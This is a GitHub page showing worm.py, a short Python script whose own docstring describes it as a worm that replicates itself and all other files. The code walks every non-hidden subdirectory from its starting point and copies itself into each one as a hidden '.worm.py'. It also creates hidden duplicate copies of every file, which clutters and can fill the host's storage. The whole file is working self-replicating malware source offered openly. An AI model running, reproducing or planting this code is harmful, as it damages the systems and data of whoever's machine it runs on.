-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathworm.py
86 lines (65 loc) · 2.68 KB
/
worm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
# -*-coding:utf-8 -*-
'''
@File : worm.py
@Time : 2021/06/02 18:22:30
@Author : Shanto Roy
@Version : 1.0
@Contact : sroy10@uh.edu
@Desc : The script is a worm that can replicate itself and all other files
'''
import os
import shutil
class Worm:
def __init__(self, path=None, target_dir_list=None, iteration=None):
if isinstance(path, type(None)):
self.path = "/"
else:
self.path = path
if isinstance(target_dir_list, type(None)):
self.target_dir_list = []
else:
self.target_dir_list = target_dir_list
if isinstance(target_dir_list, type(None)):
self.iteration = 2
else:
self.iteration = iteration
# get own absolute path
self.own_path = os.path.realpath(__file__)
def list_directories(self,path):
self.target_dir_list.append(path)
files_in_current_directory = os.listdir(path)
for file in files_in_current_directory:
# avoid hidden files/directories (start with dot (.))
if not file.startswith('.'):
# get the full path
absolute_path = os.path.join(path, file)
print(absolute_path)
if os.path.isdir(absolute_path):
self.list_directories(absolute_path)
else:
pass
def create_new_worm(self):
for directory in self.target_dir_list:
destination = os.path.join(directory, ".worm.py")
# copy the script in the new directory with similar name
shutil.copyfile(self.own_path, destination)
def copy_existing_files(self):
for directory in self.target_dir_list:
file_list_in_dir = os.listdir(directory)
for file in file_list_in_dir:
abs_path = os.path.join(directory, file)
if not abs_path.startswith('.') and not os.path.isdir(abs_path):
source = abs_path
for i in range(self.iteration):
destination = os.path.join(directory,("."+file+str(i)))
shutil.copyfile(source, destination)
def start_worm_actions(self):
self.list_directories(self.path)
print(self.target_dir_list)
self.create_new_worm()
self.copy_existing_files()
if __name__=="__main__":
current_directory = os.path.abspath("")
worm = Worm(path=current_directory)
worm.start_worm_actions()